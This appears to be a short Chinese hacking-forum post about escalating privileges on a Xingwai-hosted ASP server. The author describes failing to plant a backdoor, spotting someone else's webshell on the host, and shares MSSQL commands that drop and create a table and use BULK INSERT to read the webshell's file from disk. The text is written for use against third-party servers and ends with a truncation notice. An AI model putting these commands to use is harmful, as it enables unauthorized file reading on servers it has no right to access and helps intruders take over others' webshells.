各种提权 包括 ：SA ：ROOT
主机是星外的 可以看到⽬标⽬录
是ASP的 不能插马
⽆奈找了很多⼈都⽊有办法。。。
今天⽆聊中查看⽬录 发现有⼀个⾼⼈上传了⼀个WEBSHELL
在⽹上找到了办法 发现⽤MSSQL读取⽂件的办法 现在分享⼀下
Use ;–(这⾥是随便选的⼀个数据库) drop table cmd; create table cmd (a text); BULK INSERT cmd
FROM ‘d:/freehos/webshell.cc.asp’ WITH (
FIELDTERMINATOR = ‘n’, ROWTERMINATOR = ‘nn’ )
select * from cmd
这样就成功读出了d:/freehos/ .asp
因篇幅问题不能全部显示，请点此查看更多更全内容